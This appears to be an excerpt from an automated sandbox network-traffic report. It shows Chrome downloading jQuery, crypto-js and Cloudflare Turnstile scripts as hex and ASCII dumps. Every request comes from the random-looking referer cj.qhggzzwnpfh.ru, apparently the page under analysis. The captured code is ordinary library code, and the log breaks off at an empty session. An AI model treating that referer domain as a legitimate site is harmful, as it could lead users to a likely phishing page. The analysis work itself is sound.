2024-12-11 01:08:31 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-11 01:08:31 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-11 01:08:31 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-11 01:08:31 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-11 01:08:31 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-11 01:08:31 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	104.18.95.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:30 UTC	649	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cj.qhggzzwnpfh.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:30 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 11 Dec 2024 01:08:30 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f9063374b04d/api.js Server: cloudflare CF-RAY: 8f01957c1cdd728f-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49751	104.17.24.14	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:30 UTC	651	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cj.qhggzzwnpfh.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:31 UTC	960	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:31 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 378066 Expires: Mon, 01 Dec 2025 01:08:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FH%2FrmafsejgDS%2FMjmaWt9UWvvbTCpV1loxS8O703cjr8u1r6fYQMIO%2BJxmTvmLqobdruegAmMjA8UtGpqqOU1a8xMatMmkNo1dCOTFSS4NtHZDhWgjgbvOudPtJUr7Gu%2Fsl3KjTY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f01957dbf117ce7-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:31 UTC	409	IN	Data Raw: 37 62 66 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf1!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-11 01:08:31 UTC	1369	IN	Data Raw: 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 Data Ascii: of globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cr
2024-12-11 01:08:31 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 Data Ascii: .call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByte
2024-12-11 01:08:31 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c Data Ascii: ypeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<
2024-12-11 01:08:31 UTC	1369	IN	Data Raw: 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e Data Ascii: (var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>
2024-12-11 01:08:31 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b Data Ascii: ;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[
2024-12-11 01:08:31 UTC	1369	IN	Data Raw: 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a Data Ascii: er,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:
2024-12-11 01:08:31 UTC	1369	IN	Data Raw: 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f Data Ascii: charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNO
2024-12-11 01:08:31 UTC	1369	IN	Data Raw: 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 Data Ascii: (a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=th
2024-12-11 01:08:31 UTC	1369	IN	Data Raw: 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c Data Ascii: ]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49753	104.18.95.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
